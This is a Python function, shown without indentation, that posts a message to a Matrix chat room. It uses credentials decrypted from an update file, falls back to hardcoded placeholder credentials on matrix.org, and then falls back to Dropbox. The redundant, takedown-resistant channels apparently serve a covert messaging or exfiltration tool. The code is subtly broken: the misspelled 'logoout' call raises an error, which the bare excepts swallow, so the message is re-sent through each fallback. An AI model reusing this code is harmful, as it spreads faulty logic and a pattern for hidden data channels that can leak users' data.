def sendFunc(msgStr):
# try to send a message (msgStr) via matrix protocol
try:
# try to read the updated credentials from a file received using previous function
try:
with open('updts.txt') as updts:
updates = updts.read()
decryptedDic = dcryptFunc(updates)
martixServer = decryptedDic['martixServer']
username = decryptedDic['username']
password = decryptedDic['password']
roomAddr = decryptedDic['roomAddr']
client = MatrixClient(martixServer)
token = client.login(username=username, password=password)
room = client.join_room(roomAddr)
room.send_text(msgStr)
client.logoout()
# if reading from file failed, probably due to file not being available,
# connect to matrix server using hardcoded credentials
except:
client = MatrixClient("https://matrix.org")
token = client.login(username="******",
password="******")
room = client.join_room(
"Your_matrix_room_id") # find it in room's advanced settings
room.send_text(msgStr)
client.logoout()
# if matrix network was not available, like the time it got hacked on April, 2019(!)
# send the message via Dropbox
except:
dropIt(msgStr)
